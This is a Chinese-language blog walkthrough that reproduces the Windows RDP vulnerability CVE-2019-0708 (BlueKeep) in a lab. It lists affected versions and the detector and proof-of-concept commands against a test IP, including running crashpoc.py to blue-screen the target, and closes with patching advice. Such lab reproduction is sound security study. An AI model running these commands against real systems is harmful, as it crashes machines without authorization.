标签：RDP Windows 3389 漏洞 0708 2019 代码执行 CVE
Windows RDP远程代码执行 CVE-2019-0708 漏洞复现
漏洞简介
Windows操作系统远程桌面服务远程代码执行漏洞（CVE-2019-0708） ， 2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机。
影响版本
Windows 7
Windows server 2008 R2
Windows server 2008
Windows 2003
Windows xp
Windows 8和windows10以及之后的版本不受此漏洞影响
漏洞环境
攻击机：Windows 10
靶机：Windows 7
两机处于同一网络
攻击机安装python 3
靶机开启远程连接服务，即开启3389端口，关闭防火墙或者在防火墙策略中放行3389端口
漏洞复现
靶机查看是否开启3389端口
netstat -an
攻击机检测靶机是否存在该漏洞
检测工具下载： https://free.360totalsecurity.com/CVE-2019-0708/detector_release.zip
使用方法：
0708Detector_v2_x64.exe -t 192.168.30.153 -p 3389
出现如上提示，则说明应该存在该漏洞
进行攻击
攻击POC下载： https://github.com/n1xbyte/CVE-2019-0708
使用 python 安装 impacket模块
py -3 -m pip install impacket
然后使用攻击的python脚本
py -3 crashpoc.py 192.168.30.153 64
靶机蓝屏，则攻击成功
漏洞修复
下载补丁：https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2019-0708
关闭3389远程桌面端口
开启防火墙
更新系统
标签：RDP,Windows,3389,漏洞,0708,2019,代码执行,CVE 来源： https://blog.csdn.net/WFC1006848997/article/details/112548398
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。